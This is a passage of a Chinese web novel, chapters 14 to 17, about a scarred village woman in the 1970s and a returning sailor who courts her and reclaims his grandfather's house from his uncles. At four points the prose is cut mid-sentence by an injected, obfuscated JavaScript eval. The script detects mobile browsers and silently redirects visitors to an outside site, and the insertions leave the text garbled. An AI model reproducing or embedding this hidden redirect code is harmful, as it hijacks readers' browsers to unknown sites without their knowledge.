方文静开始更勤快地干活,手脚麻利地干农活、收拾家,广播匣子放在堂屋橱柜上,每天准时响起,里面关于“恢复高考”的传闻和“四个现代化”的号召,像遥远的潮声,一遍遍呼唤着。她记得自己课本上的字迹清秀,老师也夸她脑子灵光。只是父亲早逝,让她亲手把那些书页连同梦想,一起锁进了箱底。 “真......能考?”夜深人静,西屋里只有煤油灯豆大的光晕,方文静摩挲着箱子里泛黄卷边的课本,指尖划过那些熟悉又陌生的字迹,心口像揣了只兔子。 颧骨上的疤痕在昏暗中似乎不那么刺眼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867233|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可镜子里的自己,那双眼睛里残存的怯懦,让她又飞快地把书塞了回去。考大学?当老师?当医生?对现在的她来说,像天边的云彩,看得见,摸不着。 广播里说得再好,现实是,家里穷得叮当响,哥哥方文斌正铆足了劲要翻盖震坏的房子,家里两个侄女嗷嗷待哺,哪有余钱供她这个“脸上有疤的老姑娘”去念书?村里人的眼光,更是无形的枷锁。 但那晚王君的一番话,终究给了她一丝缝隙。她开始留意广播里的每一个字,路过村小学时,会忍不住驻足听一会儿里面孩子朗朗的读书声。她甚至偷偷问过村里唯一的老会计,恢复考试的消息是不是真的。 老会计推推老花镜,叹口气:“风是这么吹,可咱这穷乡僻壤,鸟都不多拉屎,考大学?难喽!再说,你……才上到小学吧”他瞥了一眼方文静的侧脸,后面的话咽了回去。 方文静的心沉了沉,却也没完全熄灭。 方夏荷也没闲着,她想办法要把文静脸上这一抹刺眼的红淡化再淡化,把这根扎在文静心里的刺能拔掉就拔掉。 她先是找了隔壁有点名气的村医,村医王大拿摇摇头:“烧得太狠,又是碱性的,这疤……怕是落瓷实了。”她又淘了些土方子:用淘米水洗,敷捣烂的仙人掌,甚至抹过香灰。折腾一阵,除了让皮肤更显暗沉粗糙,那片狰狞的红色并无太大起色。 一日,方夏荷不知从哪个远房亲戚那里听说,县医院新来了个“大地方”的医生,兴许有办法。她咬咬牙,硬是拉着文静去了趟县城。县医院的白墙刺眼,消毒水的味道让方文静紧张得手心冒汗。 医生是个戴着眼镜的中年男人,说话和气。他仔细检查了方文静脸上的疤痕,眉头微蹙:“这属于深度化学烧伤后的瘢痕增生,只能靠时间淡化了……我们这里条件有限,可以去省里医院做些激光磨削试试,能淡化一些色素,平整度也能改善些,但想完全恢复到以前那样,不可能了。” 他顿了顿,看着方文静瞬间黯淡下去的眼睛,补充道:“而且费用不低,得好几轮治疗,效果也是因人而异。” “能……能淡一点也行!医生,您给治治!”方夏荷急切地说。方文静却轻轻拉住了她的衣角,声音低得几乎听不见:“姐,算了。太贵了。” 走出医院大门,阳光刺眼,方文静下意识地用衣领裹紧了脸,那片疤仿佛在隐隐发烫。她知道,这“火烧云”,注定要伴她一生了。 从医院回来,她的心已经沉到了水底,湿涔涔的,怎么都暖不透。 推开家门,王君的声音却带着惊喜:“文静啊,快看看谁回来了。” 一阵沉稳有力的脚步声由远及近。 一个穿着崭新却有些不合身的深蓝色工装、身形高大挺拔的男人,背着一个半旧的军绿色背包。 “咳……文静?”一个低沉、带着点迟疑的熟悉声音响起,那口音是地道的本地腔,却又夹杂着一丝陌生的铿锵。 方文静浑身一僵。 阳光有些刺眼,她眯着眼,看清了那张被晒成古铜色的脸庞——棱角分明,眉骨处有一道浅浅的旧疤,眼神沉静得像村后的老潭水,此刻正带着几分局促和探寻看着她。 14. 第 14 章 “咳......文静?” 阳光有些刺眼,方文静眯着眼,看清了那张被晒成古铜色的脸庞。那人的目光深沉,水一样平静地铺向她。 她的心像是轻轻地荡了一下。 小跟班?! 那个小时候总跟在她屁股后面,沉默寡言得像块硬石头,却会在她难过时递上一把野果子的“小跟班”杨立业?他不是......当兵去了吗?听说后来转业做了海员? “杨......立业?”方文静的声音干涩得厉害。 她下意识地想抬手遮住左脸的疤痕,手抬到一半又僵住了,一种难言的窘迫瞬间淹没了她。 他怎么回来了?他看到她这副样子了...... “是我。”杨立业似乎松了口气,脸上露出一丝极淡的笑意,目光坦然地落在她脸上。 他的眼神掠过那片疤,就像掠过她额前被汗水濡湿的碎发一样自然。 “刚回来。船在港口修整,队里派我回村办点事,顺便......看看”他顿了顿,声音低沉,“听说......地震了,家里都好吧?” “还......还好。”方文静慌乱地低下头,心乱如麻。 阔别多年,他变得高大健壮,皮肤黝黑,身上带着一股风霜和海水的气息,不再是记忆中那个瘦小寡言的孤僻少年。可那双眼睛,依旧沉静,里面映着她此刻狼狈的模样。 “那就好。”杨立业不再多问。 她鼓起勇气,用几乎听不见的声音问:“海上......苦吗?” 杨立业摇摇头:“不苦。不算苦。” 巷子口有人喊了声:“立业!支书叫你呢,快着点!” “来了!”杨立业应了一声,动作利落地从肩上那个半旧的军绿色背包里掏出两个用油纸仔细包着的东西,塞进方文静手里。油纸包被压得有点扁,却透出诱人的芝麻焦香——是县城那家老字号才有的芝麻酥饼。 “船上发的,尝尝,还脆生。”他语速很快,带着不容拒绝的意味,甚至没等她反应,便已利落地背上包,朝她点了下头,迈开大步,朝着村巷出口走去。 方文静捧着那还带着他掌心温热和淡淡海腥气的油纸包,愣在原地。芝麻的香气丝丝缕缕钻进鼻腔。这熟悉又陌生的举动,瞬间勾起了深埋的记忆—— 那个无比闷热的夏天傍晚,鹊鸟还巢,小方文静因为弄掉了母亲给的一小块顶顶稀有的麻糖,躲在麦秸垛后偷偷掉眼泪。她的“小跟班”不知从哪里钻出来,也不说话,只是伸出脏兮兮的小手,掌心躺着几颗红得透亮、还沾着新鲜泥土的覆盆子。他小心翼翼地把果子放在她衣服上,又飞快地跑开了,只留下浅浅的影子,被夕阳拖得很长。 那覆盆子酸酸甜甜的汁水,混着她咸涩的眼泪,成了那个夏天最难忘的味道。后来她才知道,那丛覆盆子长在刺槐林深处,他摘果子时胳膊被划了好几道血痕。 她抬起头,看见巷口那被阳光拉长的、空荡荡的影子。 他的影子也长大了。 她发现,他不再是那个只会闷头跟着她的小男孩了。 杨立业在村里住了下来,暂时借住在村支书家闲置的厢房里。他这次回来,主要是替船队联络些补给物资。村里人都知道,杨立业命苦,打小爹娘就没了,跟着爷爷相依为命。前些年他爷爷也走了,他无牵无挂,当兵入了伍,后来又当了海员,一个人漂泊在外,像断了线的风筝,音讯稀薄。村里还有他二叔三叔两家,偶尔念着点香火情,多数时候却只顾着自家。这次地震修房子,更是悄没声儿地把立业爷爷留给他的那间老屋也给占了去。 王君上辈子给文静张罗亲事,眼光都放在劳力足、家境稍好的人家上,像杨立业这样底子薄、负担重的,自然不在考虑之列,连带着杨立业这个从小看着长大的孩子,也被忽略了。后来,方文静一直找不到人家,这才想起了杨立业,在外人看来,这俩人就是各有各的残缺,“凑合”到一块儿勉强过着。 杨立业话依然不多,但手脚勤快,谁家有力气活需要帮忙,他二话不说就去搭把手,也总能“碰巧”遇到方文静。起初只是简单的问候,聊聊村里这些年的变化,说说各自家里的事。渐渐地,他会给她讲海上的风浪,讲异国港口的见闻,讲当兵时在边疆哨所的寒冷和孤寂。 方文静大多时候只是听,偶尔回应几句,声音依旧很轻,但紧绷的神情会在他的讲述中慢慢放松。 已将近晚秋,河水渐渐凉了,方文静搓着手从河边洗完衣裳回来,刚走到村口老槐树下,几个半大不小的皮猴子远远瞧见她,嬉皮笑脸地起哄喊起来:“疤脸婆!疤脸婆!没人要的疤脸婆!” 方文静脚步一顿,脸色煞白,端着木盆的手指僵了又僵。 杨立业扛着一大捆新劈好的柴禾,正从岔道走过来。喊声清晰地钻进他耳朵里。他脚步猛地停住,缓缓转过身。那双总是沉静无波的眼睛,无声地、沉沉地扫向那几个喊叫的孩子。没有怒吼,没有斥骂,只有一种无声却极具压迫感的威势,像一块巨石骤然压下。 那几个孩子被他看得头皮发麻,嬉笑僵在脸上,讪讪地互相推搡着,像被掐住脖子的鸡鸭,一溜烟跑没了影。 方文静站在原地,看着那个沉默地挡在她与汹涌恶意之间的高大背影,一股久违的、被小心守护的暖流,悄然淌过她的心房,酸酸涩涩,又带着奇异的安定。 “谢谢你,立业。”她声音微颤,又格外正式地道谢。 杨立业转过身,对上她的眼睛,眼神已经恢复了往日的平静,只是深处似有柔软。 他摇摇头,声音低沉而清晰: “谢什么。小时候,是你护着我。长大了,该我护着你。” 这句话像一把钥匙,“咔哒”一声打开了尘封的记忆匣子—— “没爹没娘的野种!” “扫把星!” 打谷场上,小小的杨立业被推搡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867234|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得踉跄,小脸憋得通红,拳头攥得死紧,指甲几乎嵌进肉里,却倔强地咬着下唇,一声不吭,只有那双黑沉沉的眼睛里,压抑着屈辱。他总是沉默不语,眼睛却倔强得惊人。 那个扎着褪色红头绳、穿着旧棉袄的小旋风冲了过来。小方文静使出吃奶的劲儿狠狠推开领头那个大孩子,张开细细的胳膊,像护崽的母鸡一样,死死挡在杨立业身前,小胸脯气得一起一伏,仰着小脸,声音又尖又亮,“你们不许欺负人!他是我的人!再敢碰他一下试试!” 幼时的方文静虽然是“孩子王”,面对比自己年长几岁的大孩子终究吃亏。方文静护着杨立业,因而率先挨了两拳,痛得她哇哇大哭,哭声嘹亮,这哭声让小立业不知所措,只好陪着哇哇大哭。 他很少有这样大哭的时刻,他幼时的很多情绪来源于对小文静的模仿。 那时的她,小小身躯里爆发出惊人的勇气,像一道明亮的光,照进了他的童年。而他,被不自觉牵引着,成了她的小跟班。 方文静一路走回家,心绪像被风吹乱的柳条,摇摆不定。那芝麻烧饼一人一口,最后只剩下油纸包,油纸包的香气和残留的体温,与记忆里覆盆子的酸甜滋味交织在一起,在她心头反复冲刷。 几天后的傍晚,夕阳将天际染成一片绚烂的橘红。方文静正在自家小院里费力地劈着几根用来引火的细柴,动作有些生疏。汗水顺着额角滑下,浸湿了鬓边的碎发,也洇湿了左颊疤痕附近的皮肤,带来一丝浅淡的刺痛。 她咬着下唇,高高举起柴刀,却因为姿势不对,力气又小,柴刀落下时偏了,“哐当”一声砸在石头上,震得她虎口发麻,柴火却纹丝未动。 院门口传来熟悉的脚步声。杨立业高大的身影出现在那里,肩上似乎还带着刚从地里回来的尘土气息。 方文静的脸“腾”地一下红了,慌忙放下柴刀,下意识又想侧过脸去,手指局促地绞在一起。 杨立业没说话,只是大步走过来,动作自然地接过了她手里的柴刀。他粗糙的手指不经意间擦过她微凉的指尖,带着薄茧的触感让方文静指尖微微一颤,飞快地缩回了手。 “我来。”他只说了两个字,声音低沉平稳。 他站在她刚才的位置,高大的身影几乎将她完全笼罩在自己的阴影里。 他微微屈膝,腰背绷紧成弧度,手臂肌肉在洗得发白的旧工装下隆起。他目光专注地盯着地上的柴火,手腕一沉,柴刀带着一道干脆利落的弧线精准劈下——“咔嚓!”一声脆响,柴火应声裂成两半,断面光滑整齐。 方文静站在一旁,看着他专注的侧脸,黝黑的皮肤在夕阳下镀着一层暖金,鼻梁高挺,线条冷硬。 他没有立刻停下,而是沉默地将剩下的几根柴也利落地劈好,码放整齐。整个过程行云流水,没有一句多余的话。 “好了。”他直起身,将柴刀递还给她,目光落在她微微泛红的虎口上,“下次小心,别震着手。” 15. 第 15 章 “好了。”他直起身,将柴刀递还给她,目光落在她微微泛红的虎口上,“下次小心,别震着手。” “嗯......”方文静接过柴刀,指尖似乎还残留着他掌心传递过来的、粗糙的暖意。她鼓起勇气,指了指旁边小凳上放着的一个粗陶碗,里面是晾凉的薄荷水,“喝口水吧?刚摘的薄荷,解渴。” 杨立业的目光在那碗清澈的水上停留了一瞬,他没有推辞,走过去,端起碗,仰头“咕咚咕咚”喝了大半碗。 “嗯。很解渴。”他放下碗,声音似乎比平时温和了一点。 他没有立刻离开,目光扫过小院角落那几垄刚冒出嫩芽的菜畦,问道:“种的什么?” “就......一些小白菜,豆角。”方文静轻声回答,感觉脸颊更热了。她种的菜稀稀拉拉的,远不如别人家茂盛。 “挺好。”杨立业点点头,目光又落到她因为劳作而沾了些泥点的裤脚和有些磨损的布鞋上。 他沉默了几秒,忽然开口:“明天......我要跟支书去趟镇上,船队要的东西得去盖章定下来。”他顿了顿,似乎在斟酌词句,目光重新看向她的眼睛,“你......有没有什么要带的?或者......想不想一起去看看?听说镇上供销社新进了些花布。” 花布? 自从脸上留下疤,她就再没穿过任何鲜亮的颜色,更别提花布了。她下意识地摸了摸左脸,指尖触碰到凹凸不平的皮肤,刚刚升起的一丝微光黯淡下去。她飞快地低下头,盯着自己的鞋尖:“不......不用了。我没什么要买的。” 杨立业看着她缩回壳里的样子,眉头几不可察地蹙了一下。他看到了她手指触碰疤痕时眼中一闪而过的痛楚。他没再追问,只是沉沉地“嗯”了一声。 “那......我先走了。”他朝她点了点头,转身大步流星地离开,背影很快消失在院门外。 方文静站在原地,手里还攥着那把柴刀,刀柄上似乎还残留着他的体温。晚风吹过,带来一丝凉意,也吹乱了她的心绪。 那句“花布”像一颗小小的石子,去镇上?看看花布?她真的......还能穿吗? 第二天,杨立业一大早就和支书去了镇上。方文静在家心神不宁地忙着农活。晌午过后,她正在院子里喂鸡,远远地看见杨立业的身影出现在村口的小路上。他肩上扛着一个不小的麻袋,看起来沉甸甸的。 她喂鸡的动作慢了下来。 杨立业没有直接回支书家,而是脚步一转,径直朝方文静家的小院走来。他走到院门口,将肩上的麻袋放下,发出“咚”的一声闷响。 方文静有些局促地迎上去:“立......立业?回来了?东西已经办好了吗?” “嗯,办好了。”杨立业应着,额角还带着汗珠。他指了指地上的麻袋,语气平淡无波:“支书家给的,新磨的玉米面,还有几斤晒好的红薯干。他家吃不完,让我拿点。我那儿没地方开火,放你这儿吧。”他顿了顿,又补充道,“算搭伙。” 搭伙? 方文静愣住了。这借口找得......如此拙劣,却又让人无法反驳。支书家人口多,粮食又贵,怎么可能“吃不完”?更别提杨立业自己住在支书家厢房,怎么可能“没地方开火”? 她看着地上那个鼓鼓囊囊的麻袋,再看看杨立业那张平静无波的脸,仿佛真的只是在处理多余物资。 “这......这怎么好意思......” “没什么。”杨立业打断她,声音低沉了些,“收着吧。我力气大,吃得也多,正好。”他似乎怕她再推辞,弯腰从麻袋旁边拿起一个用报纸仔细包好的小包裹,递到她面前。 “这个......镇上看到的,供销社处理货,便宜。”他语气依旧平淡,但递东西的动作却带着不容置疑。 方文静迟疑地接过那个纸包。入手很轻,纸张粗糙。她小心翼翼地一层层打开—— 里面赫然是一小块折叠整齐的棉布!不是她想象中鲜艳的花布,而是一种极其柔和、如同春日初生嫩芽般的浅绿色。颜色素净淡雅,质地看起来也厚实柔软。没有繁复的花纹,只留一抹清新温柔的绿意,像一汪春田。 她怔怔地看着这块布,手指无意识地抚摸着那细腻的纹理。这块布的颜色......既不张扬,也不刺眼,恰恰是能让她感觉不那么突兀,甚至......能稍微鼓起一点勇气穿出去的颜色。他记得“花布”,更细心到避开了所有可能让她感觉不安的艳丽,选择了这样一种含蓄又充满生机的色彩。 “这......太贵了......”她喃喃道。 “不贵。处理货,论斤称的。”杨立业飞快地说,眼神却有些不自在地飘向别处,耳根似乎泛起了红晕。他清了清嗓子,“那个......我走了。麻袋里的东西,你看着安排。”说完,他像是怕她再说什么,几乎是有些仓促地转身,大步离开了,背影依旧挺拔,却莫名透着落荒而逃的意味。 方文静捧着那块浅绿色的棉布,站在原地,久久没有动弹。指尖下是布料的柔软,鼻尖是麻袋里散发出的新玉米面的清香。她抬头望向杨立业消失的方向,阳光正好,微风不燥。 那块浅绿色的棉布,静静地躺在她的掌心,像一枚悄然萌发的种子,带着一种微小却无比坚定的力量,正在她冰封的心田里,努力地顶开坚硬的地壳,想要向着阳光生长。 她轻轻地将布料贴在脸颊,感受着那份柔软的触感。左脸的疤痕似乎也被这温柔的布料和更温柔的心意熨帖着,不再那么狰狞冰冷了。一个念头,带着前所未有的清晰和勇气,在她心底悄然生根: 或许......她真的可以试着,为自己做一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867235|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件新衣裳? 杨立业替船队办完公事,开始着手处理那间被占的老屋。爷爷留下的那间泥坯房,虽然破旧,却是他在这世上唯一的“根”。他迈开步子,先去找了二叔。 二叔杨满仓正在自家新砌的院墙根下晒太阳,看到杨立业,眼皮都没抬一下,吧嗒着旱烟袋:“立业啊,回来啦?事儿办完了?啥时候走啊?” “二叔,”杨立业站得笔直,开门见山,“我爷爷那老屋……” “哦,那屋啊!”杨满仓吐出一口烟圈,慢悠悠地说,“你看,这不是地震闹的嘛,我家西厢房塌了半拉,你三叔家灶房也毁了。你反正长年不在家,那老屋空着也是空着,风吹雨淋的,塌了更可惜。我们两家一合计,就先借用了点地儿,搭把手,凑合着把塌的地方修整了一下,好歹是个遮风挡雨的地儿。都是一家人,分那么清楚干啥?你说是吧?” “借用。”杨立业的声音听不出喜怒,目光沉沉地看着二叔,“修整?我怎么看着,那地基上都快起新墙了?二叔三叔这是打算……长住了?” 杨满仓被戳穿,脸上有点挂不住,磕了磕烟袋锅:“你这孩子,怎么说话呢!什么叫长住?那不是……那不是情况特殊嘛!再说了,你当兵出海这些年,那屋子要不是我们两家时不时看着点,早让野狗掏成窟窿了!现在倒来计较这点地方?” “屋子和宅基地的契纸,还在我这儿。”杨立业的声音不高,却带着冷硬。他从怀里掏出一个用油布仔细包着的小包,打开,露出里面几张发黄的纸页,“上面白纸黑字,写的是我杨立业的名字。二叔三叔当年也是按了手印的见证人。” 杨满仓看着那几张老契纸,脸色变了变,随即又强笑道:“哎哟,立业,你看你!这么较真干啥!一家人不说两家话!那破屋破地的,值当几个钱?你现在是大海员了,挣大钱的人,还在乎这点犄角旮旯?这样,等回头二叔家宽裕了,给你补点钱……” “我不要钱。”杨立业打断他,将契纸重新包好,揣回怀里,“我要房子。我爷爷留给我的房子。”他盯着杨满仓躲闪的眼睛,一字一句地说,“麻烦二叔跟三叔说一声,三天之内,把占的地方腾出来。该拆的拆,该清的清。不然,我就拿着这契纸,去大队找干部说道说道。看看这强占侄子家产,是个什么道理。” “诶,你个小崽子翅膀硬了,你忘了你爹妈没了,我们是怎么把你拉扯大的!”杨满仓愤愤不平地叫道。 “是我爷爷把我拉扯大的,就算跟你们有关系,也关系不大。” 说完,他不再看二叔青红交错的脸色,转身大步离开。那挺拔的背影,带着一种在风霜雨雪中淬炼出的决绝和干脆。 杨立业为老屋跟他二叔三叔“杠上了”的消息,像长了翅膀,飞快地传遍了小村。同时传开的,还有他“搭伙”给方文静家送了一大袋粮食的“美谈”。 16. 第 16 章 杨立业为老屋跟他二叔三叔“杠上了”的消息,像长了翅膀,飞快地传遍了小村。同时传开的,还有他“搭伙”给方文静家送了一大袋粮食的“美谈”。 傍晚时分,村口的老槐树下又成了闲话中心。 “啧啧,看不出来啊,杨立业这小子,平时闷葫芦一个,办起事来够硬气!敢跟他那两个精得像猴似的叔叫板。” “硬气有啥用?没根没基的,还能真把房子要回来?他二叔三叔在村里多少年了?” “哎,你们说,他这么硬气,是不是因为方家那丫头?”有人压低声音,语气暧昧。 “哟!你这么一说还真有可能!巴巴地给人家送粮,这不就是‘下聘’的意思嘛!” “下聘?就他那点家当?一个破落户,一个疤脸婆,倒也真是‘般配’!哈哈哈!” “可别这么说。人家杨立业现在好歹是吃公家饭的海员,指不定看不上呢!送点粮,怕是可怜她吧?” “可怜?我看未必!那天在槐树下,那几个娃骂‘疤脸婆’,你是没看见杨立业那眼神!啧啧,跟要吃人似的!护得紧着呢!” “真的假的?那方文静有啥好?不就小时候护过他几次嘛?这都多少年陈芝麻烂谷子了......” 流言蜚语像夏夜里嗡嗡作响的蚊虫,无孔不入,却被这温馨的小院屏蔽在外,如烟般消散。 橙黄灯光,清粥小菜。 何田正啃着玉米饽饽,嚼几口咸菜:“奶奶,这咸菜,真下饭。” 她觉得自己和《变形记》里的主人公差不多,最初看着这些饭菜食不下咽,饿了一段时间后已经连连“真香”。 方夏荷手里正拿着那块浅绿色的棉布。她走到油灯下,仔细地抖开布料,用手摩挲着,脸上露出满意的笑容:“这料子好,厚实,颜色也正!这嫩绿色,衬人,显白净!是吧文静。” 方文静却不应,食不知味,像丢了魂,一脸不高兴。 全家人都看在眼里。 说破无毒,王君瞅着机会点破了:“咋了?让那些碎嘴子给膈应着了?” 方文静咬着筷子,闷闷地点了点头。 王君笑一声:“理他们干嘛?那帮人,自家门前雪扫干净了吗?就管起别人家的瓦上霜了。赶明儿,咱把这块布裁了,做件新褂子,咱也鲜亮鲜亮。” “我不想穿。这料子穿在我身上不搭。” 方夏荷追问:“哪不搭啊?” “我不好看,他们都叫我疤脸婆,能有人愿意跟我过吗。” 方夏荷:“怎么没有啊?他杨立业要不是看上你了,给你送这些东西干啥?” 何田听着心里一阵阵泛酸,眼前的方文静就像穿越前的自己。我值得被爱吗?他会爱我吗?他会不会嫌弃我啊? 何田拉住她的手:“文静姨姨,你别管他愿不愿意,你先问问自己,你愿意吗?你又不是货架子上的东西,等着被人挑,你自己的想法很重要。你绝对值得这个世界上最好最好的爱。” “真的吗?”这一番话倒是说得方文静愣了愣,霎时间竟被这个七岁的小孩说得落泪。 “傻丫头,哭啥!该高兴!”王君笑着,抹去女儿的眼泪,眼神里满是疼惜和鼓励,“新衣裳做好了,咱就穿上!大大方方地出去走一圈!让立业那小子也看看!” 就在这时,院门外,传来了清晰的脚步声,停在了门口。紧接着,是杨立业那低沉平稳的声音。 “婶子,文静。是我,立业。有点事......想跟你们商量一下。” 杨立业低沉的声音透过门板传来。 方文静的心猛地一跳,脸颊瞬间又飞起红霞,下意识地就想把方夏荷手里的布料藏起来。 王君却哈哈一笑,拍了拍她的手背,扬声道:“是立业啊!快进来快进来!门没闩!” 门“吱呀”一声被推开。杨立业高大的身影出现在门口,带着夜晚微凉的空气。 他看见王君婶子脸上是爽朗的笑容,文静虽然低着头,但眼角眉梢似乎还残留着笑意,脸颊红扑扑的,尤其让他心头一动的是,夏禾大姐手里正拿着那块浅绿色的棉布。 他目光飞快地扫过那块布,又落到方文静身上,看到她泛红的眼眶,心头微微一紧。 “立业,来得正好!”方夏荷热情地招呼,顺手把布料塞回有些手足无措的文静手里,动作自然无比,“快坐!吃饭了没?灶上还有热乎的粥。” “吃过了,姐。”杨立业走进来,将手里拎着的一个小布袋放在桌上,目光在方文静脸上停留了一瞬,看到她飞快地将布料藏到身后,耳根似乎更红了。他移开视线,看向王君,神情恢复了惯常的沉稳,“我过来,是想跟你们,和文静说一声老屋的事。” 提到正事,王君也收敛了笑容,拉过凳子坐下:“咋样了?你二叔三叔松口了?” 方文静也悄悄抬起头,关切地看着他。 杨立业摇摇头:“没松口。还是那套说辞,占着地方不肯挪。我下午去找了支书,把房契给他看了,也说明了情况。支书说,这明摆着是侵占,不合规矩。明天,他会和我一起去我二叔三叔家,当面把话说明白。如果他们还执意不肯腾地方,那就按规矩来,该拆的拆,该清的清,村里会派人动手。损失,他们自己担着。” “好!就该这样!”方夏荷一拍大腿,赞道,“有理有据有靠山!支书出面最好!你那两个叔,就是欺软怕硬!以为你常年不在家好拿捏!这下看他们还敢耍横!” 方夏荷没想到上辈子自己觉得常年漂在海上、“不顾家”的姑父杨立业,其实是个有责任、有担当的爷们。他和姑姑的结合并非外人所说的那样“凑合”,在这个质朴的年代,他一颗真心如铁,扎扎实实为小家做打算。她曾经为姑姑介绍的那些乱七八糟的相亲对象,倒是都比不上姑父。 方文静听着,心里也松了口气,同时又为杨立业感到心疼。 那是他爷爷留下的唯一念想,却要被至亲如此算计逼迫。 “谢谢姐。”杨立业微微颔首,然后,他目光转向方文静,带着询问,“文静,你......觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867236|176184||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?”他在意她的看法。 “啊?我?”方文静愣了一下,随即用力点头,声音不大却很清晰,“立业,你做得对。那是爷爷留给你的,就该要回来。”她顿了顿,鼓起勇气补充道,“需要......需要帮忙的话,我们......都可以去给你作证。” “嗯。谢谢。”他低声道,目光再次落到她藏在身后的手上,似乎犹豫了一下,才指着桌上那个小布袋,“这个是今天在镇上买的。修房子,用得着。” 方文静和方夏荷都好奇地看过去。王君解开布袋口,倒出来一看——是一把崭新的的铁钉,还有几块打磨光滑的木楔子。 “钉子?”王君拿起一根,掂了掂,“还是好钢口的!这可不便宜!你买这个干啥?” 杨立业的目光落在方文静脸上,解释道:“我看......文静家灶房的窗户框,还有猪圈的栅栏门,都有些松动了。地震震的?正好我明天要去老屋那边,顺手一起修了。这些是备用的。”他语气平常,仿佛修窗户修猪圈,就像吃饭喝水一样理所当然。 方文静的心酸酸软软的。她家窗户框是松了,猪圈门也歪了,她力气小,一直没修好。这些细微的不便,她自己都习惯了,甚至没跟母亲提过......他竟然都看在眼里,还特意买了新钉子来。 王君看看钉子,又看看杨立业,再看看女儿那副被戳中心事的模样,脸上的笑容越来越大,最后变成了爽朗的大笑:“哈哈哈!好!好小子!心细!” 她站起身,拍了拍杨立业的胳膊,力气不小:“立业啊,你放心!老屋的事,有支书在,肯定能成!你只管去争!该是你的,谁也抢不走!至于这边......”她意有所指地看了一眼女儿,“修窗户修门是正经,别的‘活儿’......也得抓紧啊!婶子看好你!” “娘!”方文静羞得简直想找个地缝钻进去,脸烫得能煎鸡蛋,那块浅绿色的布料被她攥得死紧。 杨立业也被王君这直白的话弄得有些窘迫,黝黑的脸上透出点暗红,他轻咳一声,目光飞快地掠过方文静羞红的脸颊,低声道:“那......婶子,姐,文静,我先回去了。明天......我再过来。” “去吧去吧!早点歇着!明天还有硬仗要打呢!”王君挥挥手。 杨立业点点头,又看了一眼头快埋到胸口的方文静,才转身离开了。 门关上,隔绝了外面的凉意。屋里只剩下油灯跳跃的光和一家几口其乐融融的女人们。 王君看着女儿还红透的脸,笑着叹了口气:“傻丫头,还愣着干啥?还不快把布放好?明天娘就给你裁!等立业把窗户修好了,屋里亮堂了,娘就在那亮堂地方给你做新衣裳!保管让你穿得漂漂亮亮的!” 方文静抬起头,眼中水光潋滟,小心翼翼地将那块承载了太多心意的浅绿色棉布,珍重地放回了小木箱的最底层。 这一次,她放得无比安心。 明天,杨立业要为他的老屋而战。而她,也将开始缝制一件属于自己的、带着春天颜色的新衣。 17. 第 17 章 清晨,薄雾尚未完全散去,村东头那两间破败的泥坯老屋前,空气却已紧绷得如同拉满的弓弦。 方夏荷牵着女儿何田的小手,隐在围观的村民人群里。 杨立业身旁站着面色严肃的村支书李长河,对面则是他二叔杨满仓、二婶张金花,以及三叔杨满囤、三婶王翠云两大家子人。 他三叔年纪不大,成家又晚,家里孩子们懵懂地缩在大人身后,气氛剑拔弩张。 何田的小手捏紧了妈妈的手指,童音带着担忧,压得极低:“妈,上辈子......立业姑姥爷这老屋拿回来了吗?” 方夏荷的心沉了沉。模糊的记忆涌上心头:杨立业婚后和姑姑挤在娘家那狭小的土坯房里,生活多有不便,直到多年后才搬去镇上。 看来,今日这场“夺屋战”,前世是败了。 “没拿回来,”方夏荷的声音带着冷冽,“你立业姑姥爷没爹没娘,他那两个叔婶,一个比一个精,只有占便宜的份儿,哪肯吃亏?” 她深吸一口气,眼神锐利起来,“但今天,你妈在。田田,看好了,妈给你立业姑姥爷‘讨债’!” 李长河清了清嗓子,打破沉寂:“都到齐了?那就说说吧!立业拿着他爷爷留下的老房契回来,说你们两家占了地方修了房,现在他要收回。你们两家,怎么说?” 杨满仓立刻跳出来,嗓门洪亮,理直气壮:“支书!您给评评理。立业他爹娘走得早,他爷爷拉扯他,那吃的穿的用的,哪样不要钱?” 